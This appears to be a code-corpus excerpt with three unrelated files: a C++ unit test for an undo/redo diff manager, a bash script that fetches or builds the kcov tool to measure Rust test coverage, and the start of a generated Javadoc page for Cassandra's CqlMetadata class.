#include "BaseTestCase.h" #include "DefinitionNode.h" #include "DefinitionWatcher.h" #include "DiffManager.h" #include "FloatDiff.h" #include "FloatNode.h" #include "TestToolDefinition.h" TEST(DiffManager, undoRedo) { DefinitionNode root(NULL, "root"); DiffManager *diffs = root.getDiffManager(); FloatNode leaf(&root, "value", 2.6); EXPECT_DOUBLE_EQ(2.6, leaf.getValue()); leaf.setValue(4.3); EXPECT_DOUBLE_EQ(4.3, leaf.getValue()); leaf.setValue(-2.1); EXPECT_DOUBLE_EQ(-2.1, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(4.3, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(2.6, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(4.3, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(-2.1, leaf.getValue()); } TEST(DiffManager, undoTooMuch) { DefinitionNode root(NULL, "root"); DiffManager *diffs = root.getDiffManager(); FloatNode leaf(&root, "value", 1.1); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); leaf.setValue(2.2); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); } TEST(DiffManager, redoTooMuch) { DefinitionNode root(NULL, "root"); DiffManager *diffs = root.getDiffManager(); FloatNode leaf(&root, "value", 1.1); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); leaf.setValue(2.2); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); } TEST(DiffManager, undoBranch) { DefinitionNode root(NULL, "root"); DiffManager *diffs = root.getDiffManager(); FloatNode leaf(&root, "value", 1.1); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); leaf.setValue(2.2); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); leaf.setValue(3.3); EXPECT_DOUBLE_EQ(3.3, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); leaf.setValue(4.4); EXPECT_DOUBLE_EQ(4.4, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); diffs->undo(); EXPECT_DOUBLE_EQ(1.1, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(2.2, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(4.4, leaf.getValue()); diffs->redo(); EXPECT_DOUBLE_EQ(4.4, leaf.getValue()); } namespace { class TestWatcher : public DefinitionWatcher { public: TestWatcher(DefinitionNode *expected_node, double expected_old_value, double expected_new_value) : DefinitionWatcher("TestWatcher"), expected_node(expected_node), expected_old_value(expected_old_value), expected_new_value(expected_new_value) { calls = 0; } void start(bool init_diffs) { startWatching(expected_node, init_diffs); } virtual void nodeChanged(const DefinitionNode *node, const DefinitionDiff *diff, const DefinitionNode *) override { EXPECT_EQ(expected_node, node); ASSERT_EQ("float", diff->getTypeName()); auto float_diff = static_cast<const FloatDiff *>(diff); EXPECT_EQ(expected_old_value, float_diff->getOldValue()); EXPECT_EQ(expected_new_value, float_diff->getNewValue()); calls++; } int calls; DefinitionNode *expected_node; double expected_old_value; double expected_new_value; }; } TEST(DiffManager, addWatcher) { FloatNode node(NULL, "node"); TestWatcher watcher(&node, 1.3, -4.0); node.setValue(1.3); EXPECT_EQ(0, watcher.calls); watcher.start(false); EXPECT_EQ(0, watcher.calls); node.setValue(-4.0); EXPECT_EQ(1, watcher.calls); } TEST(DiffManager, addWatcherWithInitDiffs) { FloatNode node(NULL, "node", 1.3); TestWatcher watcher(&node, 1.3, 1.3); watcher.start(true); EXPECT_EQ(1, watcher.calls); } TEST(DiffManager, publishToWatcher) { DefinitionNode root(NULL, "root"); FloatNode node(&root, "node", 1.3); RecordingDefinitionWatcher watcher; EXPECT_EQ(0u, watcher.changes.size()); watcher.start(&root); ASSERT_EQ(1u, watcher.changes.size()); EXPECT_EQ(&root, watcher.changes[0].node); EXPECT_EQ(&root, watcher.changes[0].parent); watcher.start(&node); ASSERT_EQ(2u, watcher.changes.size()); EXPECT_EQ(&node, watcher.changes[1].node); EXPECT_EQ(&node, watcher.changes[1].parent); node.setValue(2.3); ASSERT_EQ(4u, watcher.changes.size()); EXPECT_EQ(&node, watcher.changes[2].node); EXPECT_EQ(&node, watcher.changes[2].parent); EXPECT_EQ(&node, watcher.changes[3].node); EXPECT_EQ(&root, watcher.changes[3].parent); }
thunderk/paysages3d
src/tests/DiffManager_Test.cpp
C++
mpl-2.0
4,867
#!/bin/bash # Warning: kcov is a Linux only tool set -ex CURRENT_PATH="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" PROJECT_HOME="$CURRENT_PATH/.." PROJECT_NAME=$(sed --quiet 's/^name *= *"\(.*\)"$/\1/p' $PROJECT_HOME/Cargo.toml) PROJECT_BINARY_LOCATION="$PROJECT_HOME/target/debug" KCOV_VERSION="30" KCOV_TEMP="$PROJECT_HOME/target/kcov" KCOV_COMPILE_HOME="$KCOV_TEMP/kcov-$KCOV_VERSION" KCOV_BINARY="$KCOV_TEMP/kcov" get_prebuilt() { local ubuntu_version="$1" curl --location --output "$KCOV_BINARY" \ "https://github.com/JohanLorenzo/kcov/releases/download/v$KCOV_VERSION/kcov_$ubuntu_version" chmod +x "$KCOV_BINARY" } get_and_compile_kcov_locally() { curl --location --output "$KCOV_TEMP/kcov.tar.gz" \ "https://github.com/SimonKagstrom/kcov/archive/v$KCOV_VERSION.tar.gz" tar xvf "$KCOV_TEMP/kcov.tar.gz" --directory="$KCOV_TEMP" cd "$KCOV_COMPILE_HOME" cmake . make cp "src/kcov" "$KCOV_BINARY" cd - } get_kcov() { mkdir -p "$KCOV_TEMP" local ubuntu_version=$(lsb_release --codename --short) if [[ "$ubuntu_version" == 'precise' || "$ubuntu_version" == 'trusty' ]] ; then get_prebuilt "$ubuntu_version" else get_and_compile_kcov_locally fi } compile_foxbox_with_dead_code() { RUSTFLAGS="-C link-dead-code" cargo test --no-run } run_tests_and_coverage() { PROJECT_UNIT_TEST_BINARY=$(find "$PROJECT_BINARY_LOCATION" -maxdepth 1 -executable -name "$PROJECT_NAME"-\*) PAGEKITE_LIB=$(dirname $(find "$PROJECT_BINARY_LOCATION" -name libpagekite.so)) # TODO: Add components and figure out why its not counted as part of the report LD_LIBRARY_PATH="$PAGEKITE_LIB" RUST_BACKTRACE=1 "$KCOV_BINARY" \ --include-path="$PROJECT_HOME/src" \ --exclude-path="$PROJECT_HOME/src/stubs" \ --coveralls-id="${TRAVIS_JOB_ID:=no-job-id}" \ "$PROJECT_HOME/target/coverage-report/" \ "$PROJECT_UNIT_TEST_BINARY" } if ! [ -f "$KCOV_BINARY" ] ; then get_kcov fi compile_foxbox_with_dead_code run_tests_and_coverage
fxbox/foxbox
tools/execute-unit-tests-with-coverage.sh
Shell
mpl-2.0
2,015
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_45) on Fri Dec 27 12:52:54 CST 2013 --> <title>CqlMetadata (apache-cassandra API)</title> <meta name="date" content="2013-12-27"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="CqlMetadata (apache-cassandra API)"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="class-use/CqlMetadata.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../org/apache/cassandra/thrift/CounterSuperColumn._Fields.html" title="enum in org.apache.cassandra.thrift"><span class="strong">Prev Class</span></a></li> <li><a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift"><span class="strong">Next Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?org/apache/cassandra/thrift/CqlMetadata.html" target="_top">Frames</a></li> <li><a href="CqlMetadata.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li><a href="#nested_class_summary">Nested</a>&nbsp;|&nbsp;</li> <li><a href="#field_summary">Field</a>&nbsp;|&nbsp;</li> <li><a href="#constructor_summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li><a href="#field_detail">Field</a>&nbsp;|&nbsp;</li> <li><a href="#constructor_detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">org.apache.cassandra.thrift</div> <h2 title="Class CqlMetadata" class="title">Class CqlMetadata</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>org.apache.cassandra.thrift.CqlMetadata</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>All Implemented Interfaces:</dt> <dd>java.io.Serializable, java.lang.Cloneable, java.lang.Comparable&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&gt;, org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;</dd> </dl> <hr> <br> <pre>public class <span class="strong">CqlMetadata</span> extends java.lang.Object implements org.apache.thrift.TBase&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>,<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&gt;, java.io.Serializable, java.lang.Cloneable, java.lang.Comparable&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&gt;</pre> <dl><dt><span class="strong">See Also:</span></dt><dd><a href="../../../../serialized-form.html#org.apache.cassandra.thrift.CqlMetadata">Serialized Form</a></dd></dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== NESTED CLASS SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="nested_class_summary"> <!-- --> </a> <h3>Nested Class Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Nested Class Summary table, listing nested classes, and an explanation"> <caption><span>Nested Classes</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Class and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>static class&nbsp;</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a></strong></code> <div class="block">The set of fields this struct contains, along with convenience methods for finding and manipulating them.</div> </td> </tr> </table> </li> </ul> <!-- =========== FIELD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="field_summary"> <!-- --> </a> <h3>Field Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation"> <caption><span>Fields</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Field and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>java.lang.String</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#default_name_type">default_name_type</a></strong></code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>java.lang.String</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#default_value_type">default_value_type</a></strong></code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>static java.util.Map&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>,org.apache.thrift.meta_data.FieldMetaData&gt;</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#metaDataMap">metaDataMap</a></strong></code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#name_types">name_types</a></strong></code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#value_types">value_types</a></strong></code>&nbsp;</td> </tr> </table> </li> </ul> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor_summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#CqlMetadata()">CqlMetadata</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colOne"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#CqlMetadata(org.apache.cassandra.thrift.CqlMetadata)">CqlMetadata</a></strong>(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;other)</code> <div class="block">Performs a deep copy on <i>other</i>.</div> </td> </tr> <tr class="altColor"> <td class="colOne"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#CqlMetadata(java.util.Map, java.util.Map, java.lang.String, java.lang.String)">CqlMetadata</a></strong>(java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;name_types, java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;value_types, java.lang.String&nbsp;default_name_type, java.lang.String&nbsp;default_value_type)</code>&nbsp;</td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method_summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span>Methods</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#clear()">clear</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#compareTo(org.apache.cassandra.thrift.CqlMetadata)">compareTo</a></strong>(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;other)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a></code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#deepCopy()">deepCopy</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#equals(org.apache.cassandra.thrift.CqlMetadata)">equals</a></strong>(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a>&nbsp;that)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#equals(java.lang.Object)">equals</a></strong>(java.lang.Object&nbsp;that)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a></code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#fieldForId(int)">fieldForId</a></strong>(int&nbsp;fieldId)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>java.lang.String</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getDefault_name_type()">getDefault_name_type</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>java.lang.String</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getDefault_value_type()">getDefault_value_type</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>java.lang.Object</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getFieldValue(org.apache.cassandra.thrift.CqlMetadata._Fields)">getFieldValue</a></strong>(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;field)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getName_types()">getName_types</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getName_typesSize()">getName_typesSize</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getValue_types()">getValue_types</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#getValue_typesSize()">getValue_typesSize</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>int</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#hashCode()">hashCode</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#isSet(org.apache.cassandra.thrift.CqlMetadata._Fields)">isSet</a></strong>(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;field)</code> <div class="block">Returns true if field corresponding to fieldID is set (has been assigned a value) and false otherwise</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#isSetDefault_name_type()">isSetDefault_name_type</a></strong>()</code> <div class="block">Returns true if field default_name_type is set (has been assigned a value) and false otherwise</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#isSetDefault_value_type()">isSetDefault_value_type</a></strong>()</code> <div class="block">Returns true if field default_value_type is set (has been assigned a value) and false otherwise</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#isSetName_types()">isSetName_types</a></strong>()</code> <div class="block">Returns true if field name_types is set (has been assigned a value) and false otherwise</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#isSetValue_types()">isSetValue_types</a></strong>()</code> <div class="block">Returns true if field value_types is set (has been assigned a value) and false otherwise</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#putToName_types(java.nio.ByteBuffer, java.lang.String)">putToName_types</a></strong>(java.nio.ByteBuffer&nbsp;key, java.lang.String&nbsp;val)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#putToValue_types(java.nio.ByteBuffer, java.lang.String)">putToValue_types</a></strong>(java.nio.ByteBuffer&nbsp;key, java.lang.String&nbsp;val)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#read(org.apache.thrift.protocol.TProtocol)">read</a></strong>(org.apache.thrift.protocol.TProtocol&nbsp;iprot)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a></code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setDefault_name_type(java.lang.String)">setDefault_name_type</a></strong>(java.lang.String&nbsp;default_name_type)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setDefault_name_typeIsSet(boolean)">setDefault_name_typeIsSet</a></strong>(boolean&nbsp;value)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a></code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setDefault_value_type(java.lang.String)">setDefault_value_type</a></strong>(java.lang.String&nbsp;default_value_type)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setDefault_value_typeIsSet(boolean)">setDefault_value_typeIsSet</a></strong>(boolean&nbsp;value)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setFieldValue(org.apache.cassandra.thrift.CqlMetadata._Fields, java.lang.Object)">setFieldValue</a></strong>(<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>&nbsp;field, java.lang.Object&nbsp;value)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a></code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setName_types(java.util.Map)">setName_types</a></strong>(java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;name_types)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setName_typesIsSet(boolean)">setName_typesIsSet</a></strong>(boolean&nbsp;value)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html" title="class in org.apache.cassandra.thrift">CqlMetadata</a></code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setValue_types(java.util.Map)">setValue_types</a></strong>(java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt;&nbsp;value_types)</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#setValue_typesIsSet(boolean)">setValue_typesIsSet</a></strong>(boolean&nbsp;value)</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>java.lang.String</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#toString()">toString</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#unsetDefault_name_type()">unsetDefault_name_type</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#unsetDefault_value_type()">unsetDefault_value_type</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#unsetName_types()">unsetName_types</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#unsetValue_types()">unsetValue_types</a></strong>()</code>&nbsp;</td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#validate()">validate</a></strong>()</code>&nbsp;</td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../../org/apache/cassandra/thrift/CqlMetadata.html#write(org.apache.thrift.protocol.TProtocol)">write</a></strong>(org.apache.thrift.protocol.TProtocol&nbsp;oprot)</code>&nbsp;</td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods_inherited_from_class_java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.Object</h3> <code>clone, finalize, getClass, notify, notifyAll, wait, wait, wait</code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ FIELD DETAIL =========== --> <ul class="blockList"> <li class="blockList"><a name="field_detail"> <!-- --> </a> <h3>Field Detail</h3> <a name="name_types"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>name_types</h4> <pre>public&nbsp;java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt; name_types</pre> </li> </ul> <a name="value_types"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>value_types</h4> <pre>public&nbsp;java.util.Map&lt;java.nio.ByteBuffer,java.lang.String&gt; value_types</pre> </li> </ul> <a name="default_name_type"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>default_name_type</h4> <pre>public&nbsp;java.lang.String default_name_type</pre> </li> </ul> <a name="default_value_type"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>default_value_type</h4> <pre>public&nbsp;java.lang.String default_value_type</pre> </li> </ul> <a name="metaDataMap"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>metaDataMap</h4> <pre>public static final&nbsp;java.util.Map&lt;<a href="../../../../org/apache/cassandra/thrift/CqlMetadata._Fields.html" title="enum in org.apache.cassandra.thrift">CqlMetadata._Fields</a>,org.apache.thrift.meta_data.FieldMetaData&gt; metaDataMap</pre> </li> </ul> </li> </ul> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor_detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="CqlMetadata()"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>CqlMetadata</h4> <pre>public&nbsp;CqlMetadata()</pre> </li> 